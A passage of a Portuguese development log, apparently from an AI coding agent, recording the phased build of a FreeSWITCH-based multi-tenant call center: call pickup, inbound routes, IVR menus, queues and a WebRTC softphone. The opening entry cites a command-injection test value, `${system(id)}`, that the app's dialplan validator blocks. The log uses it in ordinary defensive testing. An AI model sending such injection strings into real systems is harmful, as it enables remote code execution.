nunca é bloqueado. Testado via curl: `${system(id)}` → 400 claro;
|
||
`${user_data(...)}` (usado pelo pickup) → aceito normalmente
|
||
- [x] **achado real #2 (o mecanismo de pickup em si estava errado)**:
|
||
pesquisado contra a documentação oficial do FreeSWITCH antes de
|
||
escrever qualquer dialplan — a variable `callgroup` sozinha NÃO faz
|
||
pickup automático nenhum. O mecanismo de verdade: (1) o `bridge`
|
||
que atende a ligação pro ramal precisa forkar um leg extra
|
||
`pickup/<chave>` (registra a chamada num hash em memória, chave =
|
||
grupo), usando
|
||
`${user_data(${destination_number}@${domain_name} var callgroup)}`
|
||
pra descobrir o grupo do CALLADO; (2) uma extension de feature code
|
||
(`*8`) separada chama a application `pickup` (nova no allowlist)
|
||
com o grupo do PRÓPRIO CALLADOR, via
|
||
`${user_data(${caller_id_number}@${domain_name} var callgroup)}`.
|
||
Reescrita a regra "Discagem interna" do tenant Acme (a versão
|
||
anterior nem tinha `user/`/`@domain` corretos no `bridge` — nunca
|
||
teria funcionado numa chamada real) e criada a nova regra `*8`
|
||
"Capturar chamada do grupo"
|
||
- [x] **achado real #3 (infra, não só aplicação)**: registrando um
|
||
softphone de teste de verdade contra `acme.b2bcall.net`, o REGISTER
|
||
batia 403 Forbidden mesmo com tudo certo na aplicação — o profile
|
||
`internal` vanilla tem `force-register-domain`/
|
||
`force-subscription-domain`/`force-register-db-domain` fixados em
|
||
`$${domain}` ("b2bcall.local"), ignorando completamente o domínio
|
||
do REGISTER (`<domain name="all" alias="true".../>`, também
|
||
vanilla, só afeta contexto de dialplan, não esta checagem). Isso
|
||
**contradiz a PHASE 52**, que tinha concluído — só com teste via
|
||
curl direto no `mod_xml_curl`, sem nunca registrar um SIP de
|
||
verdade — que nenhuma mudança de infra seria necessária. Corrigido
|
||
no `infrastructure/freeswitch/Dockerfile` com mais um `sed` (mesmo
|
||
padrão do `$${domain}` já existente) removendo os 3 params —
|
||
procedimento padrão documentado do próprio FreeSWITCH pra
|
||
multi-domínio. Imagem reconstruída e o container recriado (não só
|
||
patch ao vivo) — testado de novo do zero pra confirmar que o fix
|
||
sobrevive a rebuild
|
||
- [x] **Teste real ponta a ponta, com SIP de verdade** (não só leitura de
|
||
XML): instalado `linphone-cli` (softphone de console) em
|
||
containers Docker descartáveis na mesma rede (`b2bcall_default`) —
|
||
as portas SIP não são publicadas no host de propósito (secao 184),
|
||
então um softphone real só alcança o FreeSWITCH de dentro da rede
|
||
Docker. 3 ramais criados no grupo "vendas" (2001/2002/2003) + 1 no
|
||
grupo "suporte" (2004), todos registrados de verdade
|
||
(`show registrations` no FreeSWITCH confirma). Cenário: 2002 liga
|
||
pra 2001 (toca, registra o `pickup/vendas`) → 2003 (mesmo grupo)
|
||
disca `*8` → **capturado de verdade**: `show channels` confirma
|
||
2002 e 2003 bridged no mesmo `call_uuid`, `callstate ACTIVE`, codec
|
||
negociado (PCMU) nos dois lados, e o canal de 2001 desaparece (a
|
||
ligação foi roubada antes dele atender). Teste negativo: 2004
|
||
(grupo "suporte") tenta `*8` na mesma ligação → falha (nenhum canal
|
||
capturado, 2001 continua tocando) — confirma que grupos são
|
||
isolados de verdade, não só "qualquer um captura qualquer coisa"
|
||
- [x] achado operacional, sem relação com telefonia: o disco da VM
|
||
chegou a **100% de uso (13MB livres)** no meio deste teste — os
|
||
múltiplos rebuilds de imagem Docker desta sessão acumularam ~19GB
|
||
em cache do BuildKit nunca limpo (`docker builder du` confirmou).
|
||
Risco real pro ambiente inteiro (Postgres podia falhar escrita de
|
||
WAL a qualquer momento). Corrigido com `docker image prune -a -f` +
|
||
`docker builder prune -a -f` (reversível — só cache de build,
|
||
nenhum dado de verdade) — liberou ~19GB, disco voltou a 41% de uso.
|
||
Vale rodar de novo se o disco apertar depois de mais rebuilds
|
||
- [x] Containers/ramais/tenant de teste (2001-2004, `testedomain1`)
|
||
removidos ao final; as 2 regras de dialplan reais do tenant Acme
|
||
(Discagem interna corrigida + `*8`) foram mantidas — são
|
||
configuração funcional de verdade, não lixo de teste
|
||
|
||
## PHASE 54 — Publicar SIP/RTP no host (usuário tentou registrar um ramal
|
||
de fora da rede Docker e não conseguiu)
|
||
- [x] achado real: nenhuma porta SIP/RTP do FreeSWITCH estava publicada no
|
||
host — só o Event Socket (8021), e mesmo esse só na rede interna do
|
||
compose. O teste ponta a ponta da PHASE 53 só funcionou porque os
|
||
softphones de teste rodavam DENTRO da mesma rede Docker
|
||
(`b2bcall_default`); um softphone de verdade fora do Docker não tem
|
||
como alcançar o FreeSWITCH
|
||
- [x] `infrastructure/freeswitch/Dockerfile`: RTP restrito a um range fixo
|
||
de 200 portas (16384-16584) via `sed` em `switch.conf.xml` — o
|
||
default vanilla (16384-32768, ~16k portas) é inviável de publicar
|
||
uma a uma no host
|
||
- [x] `docker-compose.yml`: publicado `5060/udp`+`5060/tcp` (SIP) e
|
||
`16384-16584/udp` (RTP) pro container. Event Socket continua NUNCA
|
||
publicado (só uso interno)
|
||
- [x] Confirmado via `iptables -t nat -L DOCKER`: as 201 portas RTP + a
|
||
porta SIP têm DNAT correto pro container; `ss -lunp` confirma
|
||
`docker-proxy` escutando 5060 no host. `sofia status profile
|
||
internal` confirma que o STUN (`external_rtp_ip`/`external_sip_ip`
|
||
em `vars.xml`, já configurado desde antes) resolve corretamente pro
|
||
IP público de verdade da VM (`191.240.175.55`) — SDP vai anunciar o
|
||
IP certo, não só o registro deve funcionar, o áudio também
|
||
- [ ] Não verificado (fora do alcance daqui): se a VM está atrás de um
|
||
firewall de provedor de nuvem (security group), as mesmas portas
|
||
precisam estar liberadas lá também — só o `iptables` local foi
|
||
confirmado
|
||
|
||
## PHASE 55 — Status de registro de ramal em tempo real (monitoramento)
|
||
(pedido do usuário: "antes de ir para ivr no monitoramento tem que
|
||
mostrar quantos ramais estao online e o status de cada ramal criado")
|
||
- [x] `Extension.registeredAt` (novo, nullable) — preenchido pelo
|
||
`apps/freeswitch-events` a cada `sofia::register`/`sofia::unregister`/
|
||
`sofia::expire` (já consumidos por esse serviço pra outros fins),
|
||
mais uma reconciliação completa (`show registrations`) ao
|
||
conectar/reconectar no ESL. `apps/api` roda no host e não alcança
|
||
`freeswitch:8021` diretamente (rede interna do Docker), por isso a
|
||
escrita vem de fs-events, mesmo padrão já usado em `Trunk.status`
|
||
- [x] `GET /extensions` devolve `registeredAt`; `/app/monitoramento`
|
||
ganhou painel "Ramais" com status ao vivo (online/offline, desde
|
||
quando, grupo de captura) via os mesmos eventos SSE
|
||
`EXTENSION_REGISTERED`/`EXTENSION_UNREGISTERED` que já existiam
|
||
(só apareciam no log de eventos, nunca como estado atual)
|
||
- [x] Testado contra o container real: reconciliação confirmada marcando
|
||
online os 2 ramais que já estavam registrados antes do restart do
|
||
fs-events; `GET /extensions` confirmado devolvendo `registeredAt`
|
||
correto (null em ramal recém-criado sem registro)
|
||
|
||
## PHASE 56 — Rotas de entrada por DID (fundação pro IVR, docs/INBOUND_ROUTES.md)
|
||
(pedido do usuário: "pode iniciar a montar o IVR e as rotas de entrada")
|
||
- [x] achado real (bloqueava TUDO de chamada de entrada, não só IVR):
|
||
nenhuma chamada que chega por um tronco carregava
|
||
`b2bcall_tenant_id` — só REGISTER de ramal e discagem de saída
|
||
setam essa variable. Sem ela, `resolveDialplanXml` sempre devolvia
|
||
"not found" pra qualquer chamada de entrada
|
||
- [x] achado real #2: mesmo corrigindo isso, o profile `external` (onde
|
||
trunks recebem chamada) apontava pro contexto `public` vanilla —
|
||
um ARQUIVO ESTÁTICO (`dialplan/public.xml`). Config estática sempre
|
||
ganha de uma consulta ao `mod_xml_curl`, então esse contexto nunca
|
||
seria dinâmico enquanto se chamasse "public". Repontado pra
|
||
`context="inbound"` (sem arquivo estático nenhum) no Dockerfile
|
||
- [x] `InboundRoute` (nova tabela, RLS real com FORCE) — decisão do
|
||
usuário: granularidade por DID/número (não por tronco), pra um
|
||
tronco poder carregar vários números com destinos diferentes.
|
||
`didNumber` é `@unique` GLOBAL de propósito (mesma exceção já
|
||
aceita em `Tenant.telephonyDomain`) — é a ÚNICA forma de descobrir
|
||
de qual tenant é uma chamada de entrada ANTES de identificar o
|
||
tenant. Resolvido por fan-out sobre tenants ativos em
|
||
`apps/freeswitch-config` (nunca uma query sem contexto de RLS)
|
||
- [x] `buildInboundRouteXml` (`packages/telephony`) gera o XML mínimo do
|
||
contexto `inbound`: injeta `b2bcall_tenant_id` + `domain_name`
|
||
(achado real #3: sem setar `domain_name` explicitamente, o
|
||
`bridge data="user/${destination_number}@${domain_name}"` da regra
|
||
"Discagem interna" resolvia pro domínio GLOBAL default, não pro do
|
||
tenant — a leg de entrada não é ramal registrado, nada preenche
|
||
essa variable sozinho) e transfere pro contexto/destino do tenant,
|
||
reaproveitando 100% do dialplan já existente (inclusive pickup de
|
||
grupo, PHASE 53)
|
||
- [x] `InboundRoutesController` (CRUD completo, permissions
|
||
`inbound_routes.view`/`.manage` novas no seed de RBAC) + tela
|
||
"Telefonia > Rotas de Entrada" no frontend (mesmo padrão de
|
||
Troncos: lista + form inline + remoção com confirmação de 2
|
||
cliques)
|
||
- [x] Testado ponta a ponta com uma chamada REAL (não só leitura de
|
||
código): softphone registrado como ramal normal + um segundo
|
||
softphone discando DIRETO pro profile `external` (porta 5080, sem
|
||
registrar — exatamente como um provedor de tronco manda) um DID
|
||
cadastrado numa `InboundRoute`. Confirmado via `show channels`: a
|
||
chamada resolveu o tenant certo, transferiu pro contexto certo,
|
||
bridged com o domínio certo do tenant (não o global), codec PCMU
|
||
negociado nos dois lados, ramal tocou e atendeu de verdade.
|
||
(Uma tentativa inicial com `originate loopback/.../inbound` deu
|
||
`INCOMPATIBLE_DESTINATION` — isolado como limitação do canal
|
||
`loopback` sem SDP real, não um bug da resolução; ver
|
||
docs/INBOUND_ROUTES.md pro isolamento completo)
|
||
- [x] **IVR (menu com `play_and_get_digits` + branching por dígito)**:
|
||
`play_and_get_digits` adicionado ao allowlist de applications;
|
||
`ALLOWED_CONDITION_FIELDS` ganhou um segundo modo aceitando
|
||
`${variavel}` simples (regex sem parênteses — nunca vira chamada de
|
||
API, mesmo risco zero de `${destination_number}` já é hoje)
|
||
- [x] **achado real construindo o primeiro menu**: FreeSWITCH resolve
|
||
TODAS as `<condition>` de um contexto ANTES de executar qualquer
|
||
`<action>` — uma variable setada por `play_and_get_digits` NUNCA
|
||
afeta o casamento de OUTRA `<extension>` na mesma passada (testado
|
||
e confirmado com DTMF de verdade: 2 extensions separadas nunca
|
||
bateram, regex avaliado com a variable ainda vazia). A forma que
|
||
funciona: dentro da MESMA extension, um `transfer` explícito usando
|
||
o dígito coletado como novo `destination_number` — dispara uma
|
||
consulta de dialplan NOVA (variables já setadas persistem), e as
|
||
extensions seguintes casam por `destination_number` normal
|
||
- [x] Testado ponta a ponta com DTMF de verdade (`fs_cli uuid_recv_dtmf`
|
||
— `linphonec` não tem comando de enviar DTMF interativo, usada a
|
||
API do FreeSWITCH que simula o dígito chegando como input do
|
||
chamador): softphone externo liga pro DID → IVR atende, toca
|
||
prompt, espera dígito → dígito `1` bridged com ramal real
|
||
(atendeu, áudio PCMU bidirecional); dígito `2` foi pra resposta
|
||
alternativa (tom diferente) — confirma ramificação de verdade, não
|
||
só "sempre cai na primeira opção". Detalhes completos em
|
||
docs/INBOUND_ROUTES.md
|
||
- [ ] Tela de frontend dedicada de autoria de IVR (menu com opções) —
|
||
hoje é construído à mão no editor genérico de dialplan; backend já
|
||
suporta tudo que uma UI assim precisaria gerar
|
||
|
||
## PHASE 57 — Discagem interna não funcionava em tenant novo (achado real
|
||
reportado pelo usuário: "a ligacao entre ramais nao esta funcionando")
|
||
- [x] achado real: não era regressão nenhuma do trabalho desta sessão —
|
||
o tenant `teste01` (onde o usuário registrou 1501/1502 por conta
|
||
própria) tinha ZERO regras de dialplan e ZERO versão ativa. Nenhum
|
||
tenant nascia com a regra de "discagem interna" — só existia nos
|
||
tenants onde eu mesmo configurei manualmente durante os testes
|
||
(Acme). Ou seja: TODO tenant novo nascia sem conseguir ligar entre
|
||
os próprios ramais, um gap real de produto, não um bug pontual
|
||
- [x] `DEFAULT_DIALPLAN_EXTENSIONS` (novo, `packages/telephony`) — as
|
||
mesmas 2 regras já testadas ponta a ponta com chamada real na
|
||
PHASE 53 (discagem interna com pickup de grupo + `*8`).
|
||
`TenantsController.create()` agora semeia essas regras + já ativa
|
||
a versão 1 do contexto `default`, dentro da MESMA transação de
|
||
criação do tenant — nenhum tenant novo nasce mais sem conseguir
|
||
discar entre ramais
|
||
- [x] Reparo pontual do tenant `teste01` já existente (mesmas 2 regras,
|
||
inseridas direto via SQL — não tem endpoint de "reparar tenant
|
||
existente", só o seed de tenant NOVO). Testado com uma chamada
|
||
real: `originate` de 1501 pra 1502 tocou de verdade no aparelho do
|
||
usuário (`RINGING` → `NO_ANSWER`, não mais 404/dialplan not found)
|
||
- [x] Testado o auto-seed em si criando um tenant novo de verdade
|
||
(`testeivr`) via `POST /tenants` — confirmado no banco: versão 1 do
|
||
contexto `default` já nasce `ACTIVE` com as 2 regras. Tenant de
|
||
teste suspenso ao final (sem endpoint de delete de tenant)
|
||
|
||
## PHASE 58 — Tela de autoria de IVR (pedido do usuário: "constrói a
|
||
tela de IVR no frontend")
|
||
- [x] `IvrMenu`/`IvrMenuOption` (novo, RLS real) — nome + contexto
|
||
(derivado do nome) + opções (dígito → ramal + rótulo). Nenhuma
|
||
tabela nova pro dialplan em si: `IvrMenusController` compila o
|
||
menu em `DialplanExtension`/`DialplanVersion` do contexto do menu
|
||
(mesmas 2 formas de `<extension>` já testadas com DTMF real na
|
||
PHASE 56 — entrada com `play_and_get_digits` + `transfer`, uma
|
||
extension por dígito) e já gera + ativa a versão nova, automático
|
||
- [x] `greeting` (prompt do menu) passa pela MESMA proteção anti-RCE já
|
||
aplicada em `data` de dialplan (`IsSafeDialplanData`) — é texto
|
||
livre do tenant, não pode virar `${system(...)}`
|
||
- [x] Tela "Telefonia > IVR": lista de menus com as opções de cada um,
|
||
criação com nome/contexto (auto-gerado, editável) + linhas
|
||
dinâmicas de opção (dígito + select de ramal existente + rótulo
|
||
opcional), remoção com confirmação de 2 cliques. Mostra o
|
||
contexto/destino fixo (`ivr_entry`) que uma Rota de Entrada precisa
|
||
usar pra apontar pro menu
|
||
- [x] Testado ponta a ponta criando um menu DE VERDADE pela API (não só
|
||
lendo o XML manualmente escrito antes): softphone externo discou
|
||
um DID apontado pro menu recém-criado, atendeu, tocou o prompt,
|
||
colheu o dígito com DTMF real (`uuid_recv_dtmf`) e bridged com o
|
||
ramal certo — confirma que o compilador produz XML funcionalmente
|
||
idêntico ao testado manualmente na PHASE 56
|
||
- [ ] Sem TTS (texto→voz); sem sub-menu (IVR dentro de IVR) nem destino
|
||
"fila"; "Rotas de Entrada" ainda não tem um seletor dedicado de
|
||
"IVR" como destino (usuário copia contexto/`ivr_entry` da tela de IVR)
|
||
|
||
## PHASE 59 — Upload de áudio pro prompt do IVR (pedido do usuário:
|
||
"adiciona upload de áudio pro prompt do IVR")
|
||
- [x] `POST /ivr-menus/:id/prompt` (multipart, `@fastify/multipart` —
|
||
primeiro upload de arquivo binário desta API) — só aceita WAV
|
||
(cabeçalho RIFF/WAVE validado; sem `mod_shout` nesta implantação,
|
||
MP3 nunca funcionaria). Gravado num bind mount NOVO
|
||
(`./data/ivr-prompts` no host ↔ `/ivr-prompts` no container
|
||
freeswitch) — mesmo raciocínio já usado 3x neste projeto pra
|
||
arquivo que o FreeSWITCH precisa enxergar de verdade (gateways
|
||
externos, filas do callcenter, spool de gravação), mas na direção
|
||
contrária: `apps/api` (host) escreve, o FreeSWITCH lê ao vivo
|
||
durante `play_and_get_digits`. Um fetch em rede (S3/HTTP) durante
|
||
a chamada foi descartado de propósito — latência desnecessária
|
||
pra um prompt de poucos segundos
|
||
- [x] `GET /ivr-menus/:id/prompt` (autenticado, `ivr.view`) serve o
|
||
preview — mesmo princípio do player de gravações, nunca uma URL
|
||
direta pro storage/disco. Deletar o menu ou trocar/remover o
|
||
prompt sempre limpa o arquivo do disco (achado real: minha
|
||
primeira versão do delete de menu deixava o .wav órfão — corrigido
|
||
antes de commitar, confirmado com teste real de upload+delete)
|
||
- [x] Tela "Telefonia > IVR" ganhou upload/troca/remoção de áudio por
|
||
menu + player `<audio>` de preview (proxy autenticado, mesmo
|
||
padrão de `/api/recordings/[id]/audio`)
|
||
- [x] Testado ponta a ponta com um WAV real de 44.1kHz/mono (não o
|
||
formato "nativo" de telefonia, de propósito): softphone externo
|
||
discou o DID, `play_and_get_digits` abriu e tocou o arquivo até o
|
||
fim duas vezes (`mod_sndfile` resample automático, sem erro no
|
||
log), colheu o dígito real e bridged corretamente com o ramal —
|
||
confirma que áudio de qualquer sample rate/formato WAV comum
|
||
funciona sem transcodificação manual
|
||
|
||
## PHASE 60 — Editor visual do IVR (pedido do usuário: "ajusta o IVR
|
||
para fazer o fluxo de maneira visual usando nodeRED")
|
||
- [x] Node-RED de verdade avaliado e descartado por decisão do usuário
|
||
(pergunta explícita: integrar de verdade significa uma plataforma
|
||
externa completa — motor de execução próprio, nós "function" =
|
||
RCE, sem multi-tenancy nativa — vários dias de trabalho e
|
||
superfície de risco nova, não um ajuste na tela atual). Escolhido
|
||
em vez disso um editor visual PRÓPRIO, sobre o mesmo modelo já
|
||
existente, sem dependência de execução externa
|
||
- [x] `@xyflow/react` — canvas de nós/setas dentro da própria tela
|
||
"Telefonia > IVR": 1 nó "Entrada" fixo conectado a 1 nó por opção
|
||
(dígito + select de ramal + descrição, editável direto no nó,
|
||
arrastável). "Adicionar opção"/"Salvar alterações" chamam o mesmo
|
||
`PATCH /ivr-menus/:id` que já existia — nenhuma mudança de backend
|
||
necessária, só uma forma nova de editar o mesmo dado
|
||
- [x] Testado ponta a ponta pela tela de verdade: menu criado, prompt de
|
||
VOZ real enviado (WAV sintetizado com `espeak-ng` dizendo "Bem-
|
||
vindo a Acme Call Center...", não um tom sintético como nos testes
|
||
anteriores) e uma chamada real completa — a saudação de ~6s tocou
|
||
até o fim, o dígito foi capturado, e o ramal certo atendeu com
|
||
áudio de verdade. Depois, uma segunda opção foi adicionada via
|
||
`PATCH` (a mesma chamada que o botão "Salvar" do editor visual
|
||
faz) — confirmado no banco que a versão 2 do dialplan compilou as
|
||
duas opções corretamente, superando a versão 1
|
||
- [x] **Layout do canvas agora persiste posição dos nós entre recargas**
|
||
(pedido do usuário: "faz a posição dos nós persistir entre
|
||
recargas") — `IvrMenu.entryPositionX/Y` + `IvrMenuOption.positionX/Y`
|
||
(nullable, puramente de apresentação, nunca entram no dialplan
|
||
compilado). Salvos no banco — nunca `localStorage`, mesma
|
||
convenção do resto do app (estado compartilhado entre quem edita
|
||
o tenant, não por navegador) — a cada "Salvar alterações", lendo
|
||
a posição de verdade do estado de nós do `@xyflow/react` (reflete
|
||
arrastos da sessão), não do estado de conteúdo das opções. Sem
|
||
posição salva ainda (menu novo, opção recém-adicionada), cai num
|
||
layout automático em coluna
|
||
- [x] Testado ponta a ponta: `PATCH` com coordenadas específicas
|
||
(incluindo o nó "Entrada"), `GET` de volta confirma os mesmos
|
||
valores, e a página carregada de novo (SSR, cookie de sessão real)
|
||
já embute essas coordenadas nos props iniciais do componente —
|
||
não só a API, o carregamento real da tela também foi verificado
|
||
|
||
## PHASE 62 — 3 achados reais reportados pelo usuário numa mensagem só:
|
||
fila sem edição, agente sem jeito de ficar online, destino de rota de
|
||
entrada em texto livre
|
||
- [x] **Filas sem edição**: `queues.controller.ts` só tinha create/list/
|
||
delete — nunca existiu `PATCH`. Adicionado `UpdateQueueDto` +
|
||
`PATCH /queues/:id` (mesmos campos do create) e um botão "Editar"
|
||
por linha na tela (formulário inline reaproveitando o mesmo
|
||
componente do "Nova fila"). Testado com Playwright de verdade:
|
||
abrir o form pré-preenchido com os valores reais, editar, salvar,
|
||
confirmar que a tabela atualizou
|
||
- [x] **"Não achei como deixar o agente online"**: os endpoints
|
||
`/agents/me/login|pause|resume|logout` sempre existiram (desde uma
|
||
fase anterior), mas NENHUMA tela chamava eles — só existia o CRUD
|
||
admin de Agentes (criar o vínculo usuário+ramal), nunca um controle
|
||
pro próprio usuário logado ficar disponível. Faltavam também
|
||
`GET /agents/me` (pra saber SE tem agente vinculado e qual o
|
||
estado) e `GET /agents/me/pause-reasons` (motivos de pausa sem
|
||
exigir `agents.view`, que listaria TODOS os agentes do tenant —
|
||
permissão que o role "agent" nunca teve e não devia ganhar só pra
|
||
isso). Widget novo na topbar (`AgentStatusWidget`, visível em
|
||
qualquer página) só aparece pra quem tem Agent vinculado; mostra
|
||
estado atual + botões Entrar/Pausar/Retomar/Sair
|
||
- [x] Achado real construindo o widget: as Server Actions de
|
||
login/logout/pause/resume exportadas como arrow function que só
|
||
repassavam argumentos quebravam em runtime ("Server Actions must
|
||
be async functions") — o MESMO bug já documentado antes nesta
|
||
sessão (wizard de campanhas). Corrigido declarando como
|
||
`async function` de verdade
|
||
- [x] Testado ponta a ponta com Playwright, logado como um agente de
|
||
teste de verdade (usuário novo, role "agent", Agent vinculado a um
|
||
ramal real): Offline → clicar "Entrar" → Disponível → "Pausar" +
|
||
escolher motivo → Em pausa → "Retomar" → Disponível → "Sair" →
|
||
Offline, tudo pela tela, sem nenhuma chamada de API manual
|
||
- [x] **Destino de rota de entrada era texto livre**: agora um dropdown
|
||
de "Tipo de destino" (Ramal/IVR/Fila/Grupo de ramais) + um segundo
|
||
dropdown listando as opções reais do tenant pra cada tipo. Isso
|
||
exigiu construir de verdade 2 mecanismos de dialplan que NUNCA
|
||
tinham sido testados (fila e grupo não eram destinos possíveis até
|
||
aqui, só ficavam bonitos na tela se eu não tivesse implementado
|
||
certo):
|
||
- `InboundRoute.destinationType` (novo enum) decide como
|
||
`buildInboundRouteXml` (packages/telephony) interpreta o
|
||
destino — `callcenter` (nova application no allowlist, mesmo
|
||
risco zero de `pickup`) pra QUEUE, `bridge` multi-leg
|
||
(`user/A@domain,user/B@domain,...`) pra CALL_GROUP
|
||
- CALL_GROUP nunca salva um snapshot dos membros: `apps/
|
||
freeswitch-config` resolve a lista de ramais do grupo TODA VEZ
|
||
que uma chamada de entrada chega, então trocar quem está no
|
||
grupo já vale na próxima chamada, sem re-salvar a rota
|
||
- EXTENSION/IVR continuam usando exatamente o mesmo `transfer` já
|
||
testado nas PHASEs 56/58 — nenhuma mudança de comportamento
|
||
- [x] Testado ponta a ponta com chamadas reais nos 2 mecanismos novos:
|
||
**fila** — softphone externo discou o DID, `show channels`
|
||
confirmou a chamada dentro da application `callcenter` com o nome
|
||
certo da fila (`<queueId>@<domain>`); **grupo** — 2 ramais reais
|
||
registrados no mesmo `callGroup`, a chamada de entrada tocou nos
|
||
DOIS AO MESMO TEMPO (confirmado via `show channels`, mesmo
|
||
`call_uuid` nas duas legs `RINGING`), atender em um cancelou o
|
||
outro automaticamente — ring group de verdade, não só um bridge
|
||
pra um único ramal
|
||
- [ ] Grupo de ramais só é alcançável por Rota de Entrada — não existe
|
||
(e não foi pedido) um jeito de discar um grupo de dentro do
|
||
dialplan "default" via feature code
|
||
|
||
## PHASE 63 — Menu em acordeão (pedido do usuário: "usar o modelo de
|
||
arcordeon no menu para que eu poder reocler cada sub menu")
|
||
- [x] `NavList` (compartilhado entre sidebar desktop e drawer mobile,
|
||
Platform e Tenant) ganhou estado de abrir/fechar por seção — cada
|
||
grupo (Discador, Call Center, Telefonia, IA, Relatórios,
|
||
Administração) alterna independente dos outros (não é exclusivo:
|
||
abrir um não fecha os demais). Chevron gira 180° indicando estado;
|
||
`aria-expanded` no botão do cabeçalho
|
||
- [x] Default: só o grupo que contém a rota atual começa aberto, os
|
||
demais começam fechados — resolve a reclamação de "menu cheio
|
||
demais" sem esconder onde o usuário está agora. Estado é local
|
||
(não persiste num F5 de propósito) mas sobrevive à navegação entre
|
||
páginas normalmente, porque o layout que contém a sidebar não
|
||
remonta em troca de rota client-side
|
||
- [x] Testado com Playwright de verdade: seção sem rota ativa começa
|
||
`aria-expanded="false"`, clicar abre (`true`), clicar de novo fecha
|
||
(`false`)
|
||
|
||
## PHASE 64 — Arrastar-e-soltar pra reordenar o menu (pedido do usuário:
|
||
"testa arrastando um sub menu pra ver se persiste" — a resposta foi que
|
||
não existia arrastar nenhum ainda, e depois de perguntar o usuário quis
|
||
a funcionalidade de verdade)
|
||
- [x] `@dnd-kit/core` + `@dnd-kit/sortable` — cada grupo do menu (nível
|
||
raiz) pode ser arrastado pra reordenar entre si; cada sub-item
|
||
dentro de um grupo pode ser arrastado pra reordenar DENTRO do
|
||
próprio grupo (nunca sai pra outro grupo arrastando — checado
|
||
explicitamente no `onDragEnd` comparando o rótulo da seção nos
|
||
dois ids envolvidos). Alça de arrastar dedicada (ícone
|
||
`GripVertical`) em vez do item inteiro, pra não conflitar com o
|
||
clique de abrir/fechar acordeão ou navegar pelo link
|
||
- [x] Ordem salva em `localStorage` (`nav-order.ts`), nunca banco —
|
||
preferência pessoal do navegador, mesma convenção já usada pelo
|
||
`ThemeToggle` (claro/escuro/sistema). Uma chave só serve os dois
|
||
menus (Platform e Tenant): os rótulos de cada um nunca colidem, e
|
||
cada um vive na sua própria entrada dentro do objeto salvo. Item
|
||
novo que não estava salvo ainda (ex.: tela futura) entra no fim,
|
||
nunca some por causa de uma ordem antiga
|
||
- [x] **Achado real testando**: aplicar a ordem salva direto no
|
||
inicializador do `useState` (`useState(() => aplicarOrdem(items))`)
|
||
diverge do HTML que o servidor mandou (SSR nunca tem acesso a
|
||
`localStorage`) e disparava "Hydration failed" no React —
|
||
inofensivo no resultado final (React re-renderiza e corrige
|
||
sozinho), mas um erro de verdade no console e uma renderização
|
||
inteira desperdiçada. Corrigido aplicando a ordem salva só dentro
|
||
de um `useEffect` (roda uma vez, só no client, depois de montar) —
|
||
exatamente o mesmo padrão que o `ThemeToggle` já usava e eu não
|
||
tinha replicado
|
||
- [x] Testado com Playwright de verdade, dois cenários: (1) arrastar um
|
||
GRUPO do menu (ex.: "Dashboard" pra depois de "Discador") — a
|
||
ordem mudou na tela e sobreviveu a um F5 completo; (2) arrastar um
|
||
SUB-ITEM dentro de "Discador" (ex.: "Campanhas" pra depois de
|
||
"Leads") — reordenou só dentro do próprio grupo (confirmado que
|
||
"Call Center" e os outros grupos continuaram intactos) e também
|
||
sobreviveu ao F5. Confirmado ainda que corrigir a Hydration
|
||
eliminou o erro do console sem quebrar nenhum dos dois cenários
|
||
|
||
## PHASE 65 — 3 achados reais reportados pelo usuário numa mensagem só:
|
||
edição de rota de entrada faltando, telas de Infraestrutura sempre com
|
||
erro de ESL, e ramal externo registrando sem áudio
|
||
- [x] Rotas de Entrada não tinha edição depois de criada (só criar/
|
||
remover) — mesmo padrão de Filas (form inline por linha,
|
||
`Fragment`-wrapped). DID não pode ser trocado depois de criado
|
||
(é a chave de roteamento — trocar quebraria o vínculo com o
|
||
tronco/operadora). Testado ponta a ponta com Playwright: criar,
|
||
editar descrição, F5, confirma que persistiu.
|
||
- [x] Telas de `Platform > Infraestrutura` sempre mostravam "Timeout
|
||
conectando no ESL" nesta VM — suposição registrada até então
|
||
(incorreta) era que isso seria permanente (`apps/api` fora do
|
||
Docker, porta nunca publicada). Causa real: `ESL_HOST=freeswitch`
|
||
no `.env` é um nome DNS que só existe dentro da rede do Docker,
|
||
nunca resolve a partir do host. O host SEMPRE alcança o IP de
|
||
qualquer container na rede bridge diretamente, com ou sem porta
|
||
publicada — só outras máquinas são bloqueadas sem `ports:`. Fix:
|
||
publicar 8021 só em loopback (`127.0.0.1:8021:8021`) + trocar
|
||
`ESL_HOST` pra `127.0.0.1`. Ver docs/FREESWITCH.md ("Achados na
|
||
sessão de PHASE 65") pro segundo bug achado na mesma investigação
|
||
(`show gateways as json` não é um comando válido nesta versão do
|
||
FreeSWITCH). Verificado com curl + Playwright nas 3 telas.
|
||
- [x] "Registrei o ramal e não passou áudio" — diagnosticado com
|
||
contadores de pacotes do `iptables` (não suposição): SIP chegava,
|
||
RTP nunca chegava. Causa: esta VM está atrás de um roteador (NAT)
|
||
sem port-forward configurado pra faixa de RTP — infraestrutura de
|
||
rede fora do controle desta aplicação, não um bug de código (a
|
||
configuração de NAT-detection do próprio FreeSWITCH já estava
|
||
correta, testado direto via `fs_cli -x "acl <ip> nat.auto"`). Ver
|
||
docs/NETWORK_ARCHITECTURE.md pro diagnóstico completo e o
|
||
checklist de portas pra encaminhar no roteador.
|
||
|
||
## PHASE 66 — Softphone WebRTC embutido (pedido do usuário: "integre o
|
||
widget handphone.js, é um webrtc que vai conectar em outro proxy [OpenSIPS,
|
||
já em produção] que depois vai vir via sip comum ao b2bcall")
|
||
- [x] O FreeSWITCH deste projeto nunca fala WebRTC — quem faz a ponte
|
||
WebRTC↔SIP é um OpenSIPS externo já em produção. Cada ramal
|
||
continua um registro SIP puro; só o NAVEGADOR do agente conecta
|
||
via WebRTC no OpenSIPS.
|
||
- [x] Código-fonte do widget (`handphone.js`, já commitado sem histórico
|
||
neste repo) achado em `git.falehandix.com.br/Handix/handphone-2.0`
|
||
(branch `main`, a mais atualizada — a branch default `handphone-
|
||
2.0-alpha` está desatualizada). Nesse código, o endereço do proxy
|
||
(`server`) vinha de `VITE_SIP_SERVER`, uma env var de BUILD-TIME —
|
||
incompatível com "Super Admin configura em runtime, sem redeploy".
|
||
Patch mínimo de 2 linhas em `widgetStorage.mergeConfig`/
|
||
`widgetConfig.parseWidgetConfig` (só nesta cópia local, nunca
|
||
enviado pro repo externo do usuário): `data-sip-server`/
|
||
`window.HandphoneConfig.server` agora tem prioridade sobre o env
|
||
var de build, mantendo o comportamento antigo como fallback.
|
||
